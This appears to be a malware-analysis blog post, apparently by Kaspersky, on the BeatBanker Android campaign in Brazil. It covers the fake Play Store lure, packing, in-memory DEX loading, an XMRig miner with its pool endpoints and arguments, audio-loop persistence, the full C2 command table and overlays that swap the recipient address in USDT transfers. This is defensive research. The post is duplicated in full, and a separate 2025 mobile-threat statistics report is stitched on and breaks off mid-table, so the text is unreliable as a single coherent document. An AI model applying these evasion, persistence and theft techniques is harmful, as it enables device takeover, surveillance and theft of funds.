Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.
This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.
Key findings:
To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
It monitors battery temperature and percentage, and checks whether the user is using the device.
At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
It deploys a banker in addition to a cryptocurrency miner.
When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
New samples now drop BTMOB RAT instead of the banking module.
Initial infection vector
The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.
The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.
Packing
The initial APK file is packed and makes use of a native shared library (ELF) named libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.
First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.
l.so – the DEX loader
The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:
Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.
This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.
Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.
After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.
The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.
Crypto mining
When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.
The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:
-o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
-k (keepalive)
--tls (encrypted connection)
--no-color (disable colored output)
--nicehash (NiceHash protocol support)
C2 telemetry
The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:
isCharging: indicates whether the phone is charging;
batteryLevel: the exact battery percentage;
isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
isUserAway: indicates whether the user is away from the device (screen off and inactive);
overheat: indicates whether the device is overheating;
temp: the current battery temperature.
Persistence
The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.
The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.
Banking module
BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.
Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.
Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.
The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.
The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.
Fake overlay pages: Binance (left) and Trust Wallet (right)
Target browsers
BeatBanker’s banking module monitors the following browsers installed on the victim’s device:
Chrome
Firefox
sBrowser
Brave
Opera
DuckDuckGo
Dolphin Browser
Edge
Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.
C2 communication
BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.
Command
Description
0
Starts dynamic loading of the DEX class
Update
Simulates software update and locks the screen
msg:
Displays a Toast message with the provided text
goauth<*>
Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*>
Sets the protection bypass flag AccessService.bypass to “True”
and sets the initializeService.uninstall flag to “Off”
srec<*>
Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*>
Pastes text from the clipboard (via Accessibility Services)
GRC<*>
Lists all existing audio recording files
gtrc<*>
Sends a specific audio recording file to the C2
lcm<*>
Lists supported front camera resolutions
usdtress<*>
Sets a USDT cryptocurrency address when a transaction is detected
lnk<*>
Opens a link in the browser
EHP<*>
Updates login credentials (host, port, name) and restarts the application
ssms<*>
Sends an SMS message (individually or to all contacts)
CRD<*>
Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*>
Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<>
Immediately locks the screen using Device Administrator permissions
adm<>wip<>
Performs a complete device data wipe (factory reset)
Aclk<*>
Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod
Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA
Requests permission to activate a custom virtual keyboard or activates one
Requests Draw Over Other Apps permission (overlay)
RPM<*>INST
Requests permission to install apps from unknown sources (Android 8+)
ussd<*>
Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*>
Sets the text for the lock overlay
BLKV<*>
Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<>
Enables/disables real-time screen text submission to the C2 (screen reading)
Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*>
Creates persistent and custom notifications
sp<*>
Executes a sequence of swipes/taps (gesture macro)
lodp<*>
Manages saved links in the internal browser (add, edit, delete, list)
scc:
Starts screen capture/streaming
New BeatBanker samples dropping BTMOB
Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.
The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.
String decryption
The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.
Malware-as-a-Service
BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.
Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.
We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.
In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.
Victims
All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.
Conclusion
BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.
The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.
Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.
The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:
Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
Keep the system updated. Security updates for Android and your mobile antivirus are essential.
Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*
Recently, we uncovered BeatBanker, an Android‑based malware campaign targeting Brazil. It spreads primarily through phishing attacks via a website disguised as the Google Play Store. To achieve their goals, the malicious APKs carry multiple components, including a cryptocurrency miner and a banking Trojan capable of completely hijacking the device and spoofing screens, among other things. In a more recent campaign, the attackers switched from the banker to a known RAT.
This blog post outlines each phase of the malware’s activity on the victim’s handset, explains how it ensures long‑term persistence, and describes its communication with mining pools.
Key findings:
To maintain persistence, the Trojan employs a creative mechanism: it plays an almost inaudible audio file on a loop so it cannot be terminated. This inspired us to name it BeatBanker.
It monitors battery temperature and percentage, and checks whether the user is using the device.
At various stages of the attack, BeatBanker disguises itself as a legitimate application on the Google Play Store and as the Play Store itself.
It deploys a banker in addition to a cryptocurrency miner.
When the user tries to make a USDT transaction, BeatBanker creates overlay pages for Binance and Trust Wallet, covertly replacing the destination address with the threat actor’s transfer address.
New samples now drop BTMOB RAT instead of the banking module.
Initial infection vector
The campaign begins with a counterfeit website, cupomgratisfood[.]shop, that looks exactly like the Google Play Store. This fake app store contains the “INSS Reembolso” app, which is in fact a Trojan. There are also other apps that are most likely Trojans too, but we haven’t obtained them.
The INSS Reembolso app poses as the official mobile portal of Brazil’s Instituto Nacional do Seguro Social (INSS), a government service that citizens can use to perform more than 90 social security tasks, from retirement applications and medical exam scheduling to viewing CNIS (National Registry of Social Information), tax, and payment statements, as well as tracking request statuses. By masquerading as this trusted platform, the fake page tricks users into downloading the malicious APK.
Packing
The initial APK file is packed and makes use of a native shared library (ELF) named libludwwiuh.so that is included in the application. Its main task is to decrypt another ELF file that will ultimately load the original DEX file.
First, libludwwiuh.so decrypts an embedded encrypted ELF file and drops it to a temporary location on the device under the name l.so. The same code that loaded the libludwwiuh.so library then loads this file, which uses the Java Native Interface (JNI) to continue execution.
l.so – the DEX loader
The library does not have calls to its functions; instead, it directly calls the Java methods whose names are encrypted in the stack using XOR (stack strings technique) and restored at runtime:
Initially, the loader makes a request to collect some network information using https://ipapi.is to determine whether the infected device is a mobile device, if a VPN is being used, and to obtain the IP address and other details.
This loader is engineered to bypass mobile antivirus products by utilizing dalvik.system.InMemoryDexClassLoader. It loads malicious DEX code directly into memory, avoiding the creation of any files on the device’s file system. The necessary DEX files can be extracted using dynamic analysis tools like Frida.
Furthermore, the sample incorporates anti-analysis techniques, including runtime checks for emulated or analysis environments. When such an environment is detected (or when specific checks fail, such as verification of the supported CPU_ABI), the malware can immediately terminate its own process by invoking android.os.Process.killProcess(android.os.Process.myPid()), effectively self-destructing to hinder dynamic analysis.
After execution, the malware displays a user interface that mimics the Google Play Store page, showing an update available for the INSS Reembolso app. This is intended to trick victims into granting installation permissions by tapping the “Update” button, which allows the download of additional hidden malicious payloads.
The payload delivery process mimics the application update. The malware uses the REQUEST_INSTALL_PACKAGES permission to install APK files directly into its memory, bypassing Google Play. To ensure persistence, the malware keeps a notification about a system update pinned to the foreground and activates a foreground service with silent media playback, a tactic designed to prevent the operating system from terminating the malicious process.
Crypto mining
When UPDATE is clicked on a fake Play Store screen, the malicious application downloads and executes an ELF file containing a cryptomining payload. It starts by issuing a GET request to the C2 server at either hxxps://accessor.fud2026.com/libmine-<arch>.so or hxxps://fud2026.com/libmine-<arch>.so. The downloaded file is then decrypted using CipherInputStream(), with the decryption key being derived from the SHA-1 hash of the downloaded file’s name, ensuring that each version of the file is encrypted with a unique key. The resulting file is renamed d-miner.
The decrypted payload is an ARM-compiled XMRig 6.17.0 binary. At runtime, it attempts to create a direct TCP connection to pool.fud2026[.]com:9000. If successful, it uses this endpoint; otherwise, it automatically switches to the proxy endpoint pool-proxy.fud2026[.]com:9000. The final command-line arguments passed to XMRig are as follows:
-o pool.fud2026[.]com:9000 or pool-proxy.fud2026[.]com:9000 (selected dynamically)
-k (keepalive)
--tls (encrypted connection)
--no-color (disable colored output)
--nicehash (NiceHash protocol support)
C2 telemetry
The malware uses Google’s legitimate Firebase Cloud Messaging (FCM) as its primary command‑and‑control (C2) channel. In the analyzed sample, each FCM message received triggers a check of the battery status, temperature, installation date, and user presence. A hidden cryptocurrency miner is then started or stopped as needed. These mechanisms ensure that infected devices remain permanently accessible and responsive to the attacker’s instructions, which are sent through the FCM infrastructure. The attacker monitors the following information:
isCharging: indicates whether the phone is charging;
batteryLevel: the exact battery percentage;
isRecentInstallation: indicates whether the application was recently installed (if so, the implant delays malicious actions);
isUserAway: indicates whether the user is away from the device (screen off and inactive);
overheat: indicates whether the device is overheating;
temp: the current battery temperature.
Persistence
The KeepAliveServiceMediaPlayback component ensures continuous operation by initiating uninterrupted playback via MediaPlayer. It keeps the service active in the foreground using a notification and loads a small, continuous audio file. This constant activity prevents the system from suspending or terminating the process due to inactivity.
The identified audio output8.mp3 is five seconds long and plays on a loop. It contains some Chinese words.
Banking module
BeatBanker compromises the machine with a cryptocurrency miner and introduces another malicious APK that acts as a banking Trojan. This Trojan uses previously obtained permission to install an additional APK called INSS Reebolso, which is associated with the package com.destination.cosmetics.
Similar to the initial malicious APK, it establishes persistence by creating and displaying a fixed notification in the foreground to hinder removal. Furthermore, BeatBanker attempts to trick the user into granting accessibility permissions to the package.
Leveraging the acquired accessibility permissions, the malware establishes comprehensive control over the device’s user interface.
The Trojan constantly monitors the foreground application. It targets the official Binance application (com.binance.dev) and the Trust Wallet application (com.wallet.crypto.trustapp), focusing on USDT transactions. When a user tries to withdraw USDT, the Trojan instantly overlays the target app’s transaction confirmation screen with a highly realistic page sourced from Base64-encoded HTML stored in the banking module.
The module captures the original withdrawal address and amount, then surreptitiously substitutes the destination address with an attacker-controlled one using AccessibilityNodeInfo.ACTION_SET_TEXT. The overlay page shows the victim the address they copied (for Binance) or just shows a loading icon (for Trust Wallet), leading them to believe they are remitting funds to the intended wallet when, in fact, the cryptocurrency is transferred to the attacker’s designated address.
Fake overlay pages: Binance (left) and Trust Wallet (right)
Target browsers
BeatBanker’s banking module monitors the following browsers installed on the victim’s device:
Chrome
Firefox
sBrowser
Brave
Opera
DuckDuckGo
Dolphin Browser
Edge
Its aim is to collect the URLs accessed by the victim using the regular expression ^(?:https?://)?(?:[^:/\\\\]+\\\\.)?([^:/\\\\]+\\\\.[^:/\\\\]+). It also offers management functionalities (add, edit, delete, list) for links saved in the device’s default browser, as well as the ability to open links provided by the attacker.
C2 communication
BeatBanker is also designed to receive commands from the C2. These commands aim to collect the victim’s personal information and gain complete control of the device.
Command
Description
0
Starts dynamic loading of the DEX class
Update
Simulates software update and locks the screen
msg:
Displays a Toast message with the provided text
goauth<*>
Opens Google Authenticator (if installed) and enables the AccessService.SendGoogleAuth flag used to monitor and retrieve authentication codes
kill<*>
Sets the protection bypass flag AccessService.bypass to “True”
and sets the initializeService.uninstall flag to “Off”
srec<*>
Starts or stops audio recording (microphone), storing the recorded data in a file with an automatically generated filename. The following path format is used to store the recording: /Config/sys/apps/rc/<timestamp>_0REC<last5digits>.wav
pst<*>
Pastes text from the clipboard (via Accessibility Services)
GRC<*>
Lists all existing audio recording files
gtrc<*>
Sends a specific audio recording file to the C2
lcm<*>
Lists supported front camera resolutions
usdtress<*>
Sets a USDT cryptocurrency address when a transaction is detected
lnk<*>
Opens a link in the browser
EHP<*>
Updates login credentials (host, port, name) and restarts the application
ssms<*>
Sends an SMS message (individually or to all contacts)
CRD<*>
Adds (E>) or removes (D>) packages from the list of blocked/disabled applications
SFD<*>
Deletes files (logs, recordings, tones) or uninstalls itself
adm<>lck<>
Immediately locks the screen using Device Administrator permissions
adm<>wip<>
Performs a complete device data wipe (factory reset)
Aclk<*>
Executes a sequence of automatic taps (auto-clicker) or lists existing macros
KBO<*>lod
Checks the status of the keylogger and virtual keyboard
KBO<*>AKP/AKA
Requests permission to activate a custom virtual keyboard or activates one
Requests Draw Over Other Apps permission (overlay)
RPM<*>INST
Requests permission to install apps from unknown sources (Android 8+)
ussd<*>
Executes a USSD code (e.g., *#06# for IMEI)
Blkt<*>
Sets the text for the lock overlay
BLKV<*>
Enables or disables full-screen lock using WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY to display a black FrameLayout element over the entire screen
SCRD<> / SCRD2<>
Enables/disables real-time screen text submission to the C2 (screen reading)
Controls VPN and firewall (status, block/allow apps, enable/disable)
noti<*>
Creates persistent and custom notifications
sp<*>
Executes a sequence of swipes/taps (gesture macro)
lodp<*>
Manages saved links in the internal browser (add, edit, delete, list)
scc:
Starts screen capture/streaming
New BeatBanker samples dropping BTMOB
Our recent detection efforts uncovered a campaign leveraging a fraudulent StarLink application that we assess as being a new BeatBanker variant. The infection chain mirrored previous instances, employing identical persistence methods – specifically, looped audio and fixed notifications. Furthermore, this variant included a crypto miner similar to those seen previously. However, rather than deploying the banking module, it was observed distributing the BTMOB remote administration tool.
The BTMOB APK is highly obfuscated and contains a class responsible for configuration. Despite this, it’s possible to identify a parser used to define the application’s behavior on the device, as well as persistence features, such as protection against restart, deletion, lock reset, and the ability to perform real-time screen recording.
String decryption
The simple decryption routine uses repetitive XOR between the encrypted data and a short key. It iterates through the encrypted text byte by byte, repeating the key from the beginning whenever it reaches the end. At each position, the sample XORs the encrypted byte with the corresponding byte of the key, overwriting the original. Ultimately, the modified byte array contains the original text, which is then converted to UTF-8 and returned as a string.
Malware-as-a-Service
BTMOB is an Android remote administration tool that evolved from the CraxsRAT, CypherRAT, and SpySolr families. It provides full remote control of the victim’s device and is sold in a Malware-as-a-Service (MaaS) model. On July 26, 2025, a threat actor posted a screenshot of the BTMOB RAT in action on GitHub under the username “brmobrats”, along with a link to the website btmob[.]xyz. The website contains information about the BTMOB RAT, including its version history, features, and other relevant details. It also redirects to a Telegram contact. Cyfirma has already linked this account to CraxsRAT and CypherRAT.
Recently, a YouTube channel was created by a different threat actor that features videos demonstrating how to use the malware and facilitate its sale via Telegram.
We also saw the distribution and sale of leaked BTMOB source code on some dark web forums. This may suggest that the creator of BeatBanker acquired BTMOB from its original author or the source of the leak and is utilizing it as the final payload, replacing the banking module observed in the INSS Reebolso incident.
In terms of functionality, BTMOB maintains a set of intrusive capabilities, including: automatic granting of permissions, especially on Android 13–15 devices; use of a black FrameLayout overlay to hide system notifications similar to the one observed in the banking module; silent installation; persistent background execution; and mechanisms designed to capture screen lock credentials, including PINs, patterns, and passwords. The malware also provides access to front and rear cameras, captures keystrokes in real time, monitors GPS location, and constantly collects sensitive data. Together, these functionalities provide the operator with comprehensive remote control, persistent access, and extensive surveillance capabilities over compromised devices.
Victims
All variants of BeatBanker – those with the banking module and those with the BTMOB RAT – were detected on victims in Brazil. Some of the samples that deliver BTMOB appear to use WhatsApp to spread, as well as phishing pages.
Conclusion
BeatBanker is an excellent example of how mobile threats are becoming more sophisticated and multi-layered. Initially focused in Brazil, this Trojan operates a dual campaign, acting as a Monero cryptocurrency miner, discreetly draining your device’s battery life while also stealing banking credentials and tampering with cryptocurrency transactions. Moreover, the most recent version goes even further, substituting the banking module with a full-fledged BTMOB RAT.
The attackers have devised inventive tricks to maintain persistence. They keep the process alive by looping an almost inaudible audio track, which prevents the operating system from terminating it and allows BeatBanker to remain active for extended periods.
Furthermore, the threat demonstrates an obsession with staying hidden. It monitors device usage, battery level and temperature. It even uses Google’s legitimate system (FCM) to receive commands. The threat’s banking module is capable of overlaying Binance and Trust Wallet screens and diverting USDT funds to the criminals’ wallets before the victim even notices.
The lesson here is clear: distrust is your best defense. BeatBanker spreads through fake websites that mimic Google Play, disguising itself as trustworthy government applications. To protect yourself against threats like this, it is essential to:
Download apps only from official sources. Always use the Google Play Store or the device vendor’s official app store. Make sure you use the correct app store app, and verify the developer.
Check permissions. Pay attention to the permissions that applications request, especially those related to accessibility and installation of third-party packages.
Keep the system updated. Security updates for Android and your mobile antivirus are essential.
Our solutions detect this threat as HEUR:Trojan-Dropper.AndroidOS.BeatBanker and HEUR:Trojan-Dropper.AndroidOS.Banker.*
Starting from the third quarter of 2025, we have updated our statistical methodology based on the Kaspersky Security Network. These changes affect all sections of the report except for the installation package statistics, which remain unchanged.
To illustrate trends between reporting periods, we have recalculated the previous year’s data; consequently, these figures may differ significantly from previously published numbers. All subsequent reports will be generated using this new methodology, ensuring accurate data comparisons with the findings presented in this article.
Kaspersky Security Network (KSN) is a global network for analyzing anonymized threat intelligence, voluntarily shared by Kaspersky users. The statistics in this report are based on KSN data unless explicitly stated otherwise.
The year in figures
According to Kaspersky Security Network, in 2025:
Over 14 million attacks involving malware, adware or unwanted mobile software were blocked.
Adware remained the most prevalent mobile threat, accounting for 62% of all detections.
Over 815 thousand malicious installation packages were detected, including 255 thousand mobile banking Trojans.
The year’s highlights
In 2025, cybercriminals launched an average of approximately 1.17 million attacks per month against mobile devices using malicious, advertising, or unwanted software. In total, Kaspersky solutions blocked 14,059,465 attacks throughout the year.
Attacks on Kaspersky mobile users in 2025 (download)
Beyond the malware mentioned in previous quarterly reports, 2025 saw the discovery of several other notable Trojans. Among these, in Q4 we uncovered the Keenadu preinstalled backdoor. This malware is integrated into device firmware during the manufacturing stage. The malicious code is injected into libandroid_runtime.so – a core library for the Android Java runtime environment – allowing a copy of the backdoor to enter the address space of every app running on the device. Depending on the specific app, the malware can then perform actions such as inflating ad views, displaying banners on behalf of other apps, or hijacking search queries. The functionality of Keenadu is virtually unlimited, as its malicious modules are downloaded dynamically and can be updated remotely.
Cybersecurity researchers also identified the Kimwolf IoT botnet, which specifically targets Android TV boxes. Infected devices are capable of launching DDoS attacks, operating as reverse proxies, and executing malicious commands via a reverse shell. Subsequent analysis revealed that Kimwolf’s reverse proxy functionality was being leveraged by proxy providers to use compromised home devices as residential proxies.
Another notable discovery in 2025 was the LunaSpy Trojan.
LunaSpy Trojan, distributed under the guise of an antivirus app
Disguised as antivirus software, this spyware exfiltrates browser passwords, messaging app credentials, SMS messages, and call logs. Furthermore, it is capable of recording audio via the device’s microphone and capturing video through the camera. This threat primarily targeted users in Russia.
Mobile threat statistics
815,735 new unique installation packages were observed in 2025, showing a decrease compared to the previous year. While the decline in 2024 was less pronounced, this past year saw the figure drop by nearly one-third.
Detected Android-specific malware and unwanted software installation packages in 2022–2025 (download)
The overall decrease in detected packages is primarily due to a reduction in apps categorized as not-a-virus. Conversely, the number of Trojans has increased significantly, a trend clearly reflected in the distribution data below.
Detected packages by type
Distribution* of detected mobile software by type, 2024–2025 (download)
* The data for the previous year may differ from previously published data due to some verdicts being retrospectively revised.
A significant increase in Trojan-Banker and Trojan-Spy apps was accompanied by a decline in AdWare and RiskTool files. The most prevalent banking Trojans were Mamont (accounting for 49.8% of apps) and Creduz (22.5%). Leading the persistent adware category were MobiDash (39%), Adlo (27%), and HiddenAd (20%).
Share* of users attacked by each type of malware or unwanted software out of all users of Kaspersky mobile solutions attacked in 2024–2025 (download)
* The total may exceed 100% if the same users encountered multiple attack types.
Trojan-Banker malware saw a significant surge in 2025, not only in terms of unique file counts but also in the total number of attacks. Nevertheless, this category ranked fourth overall, trailing far behind the Trojan file category, which was dominated by various modifications of Triada and Fakemoney.
TOP 20 types of mobile malware
Note that the malware rankings below exclude riskware and potentially unwanted apps, such as RiskTool and adware.
Verdict
% 2024*
% 2025*
Difference in p.p.
Change in ranking
Trojan.AndroidOS.Triada.fe
0.04
9.84
+9.80
Trojan.AndroidOS.Triada.gn
2.94
8.14
+5.21
+6
Trojan.AndroidOS.Fakemoney.v
7.46
7.97
+0.51
+1
DangerousObject.Multi.Generic
7.73
5.83
–1.91
–2
Trojan.AndroidOS.Triada.ii
0.00
5.25
+5.25
Trojan-Banker.AndroidOS.Mamont.da
0.10
4.12
+4.02
Trojan.AndroidOS.Triada.ga
10.56
3.75
–6.81
–6
Trojan-Banker.AndroidOS.Mamont.db
0.01
3.53
+3.51
Backdoor.AndroidOS.Triada.z
0.00
2.79
+2.79
Trojan-Banker.AndroidOS.Coper.c
0.81
2.54
+1.72
+35
Trojan-Clicker.AndroidOS.Agent.bh
0.34
2.48
+2.14
+74
Trojan-Dropper.Linux.Agent.gen
1.82
2.37
+0.55
+4
Trojan.AndroidOS.Boogr.gsh
5.41
2.06
–3.35
–8
DangerousObject.AndroidOS.GenericML
2.42
1.97
–0.45
–3
Trojan.AndroidOS.Triada.gs
3.69
1.93
–1.76
–9
Trojan-Downloader.AndroidOS.Agent.no
0.00
1.87
+1.87
Trojan.AndroidOS.Triada.hf
0.00
1.75
+1.75
Trojan-Banker.AndroidOS.Mamont.bc
1.13
1.65
+0.51
+8
Trojan.AndroidOS.Generic.
2.13
1.47
–0.66
–6
Trojan.AndroidOS.Triada.hy
0.00
1.44
+1.44
* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.
The list is largely dominated by the Triada family, which is distributed via malicious modifications of popular messaging apps. Another infection vector involves tricking victims into installing an official messaging app within a “customized virtual environment” that supposedly offers enhanced configuration options. Fakemoney scam applications, which promise fraudulent investment opportunities or fake payouts, continue to target users frequently, ranking third in our statistics. Meanwhile, the Mamont banking Trojan variants occupy the 6th, 8th, and 18th positions by number of attacks. The Triada backdoor preinstalled in the firmware of certain devices reached the 9th spot.
Region-specific malware
This section describes malware families whose attack campaigns are concentrated within specific countries.
Verdict
Country*
%**
Trojan-Banker.AndroidOS.Coper.a
Türkiye
95.74
Trojan-Dropper.AndroidOS.Hqwar.bj
Türkiye
94.96
Trojan.AndroidOS.Thamera.bb
India
94.71
Trojan-Proxy.AndroidOS.Agent.q
Germany
93.70
Trojan-Banker.AndroidOS.Coper.c
Türkiye
93.42
Trojan-Banker.AndroidOS.Rewardsteal.lv
India
92.44
Trojan-Banker.AndroidOS.Rewardsteal.jp
India
92.31
Trojan-Banker.AndroidOS.Rewardsteal.ib
India
91.91
Trojan-Dropper.AndroidOS.Rewardsteal.h
India
91.45
Trojan-Banker.AndroidOS.Rewardsteal.nk
India
90.98
Trojan-Dropper.AndroidOS.Agent.sm
Türkiye
90.34
Trojan-Dropper.AndroidOS.Rewardsteal.ac
India
89.38
Trojan-Banker.AndroidOS.Rewardsteal.oa
India
89.18
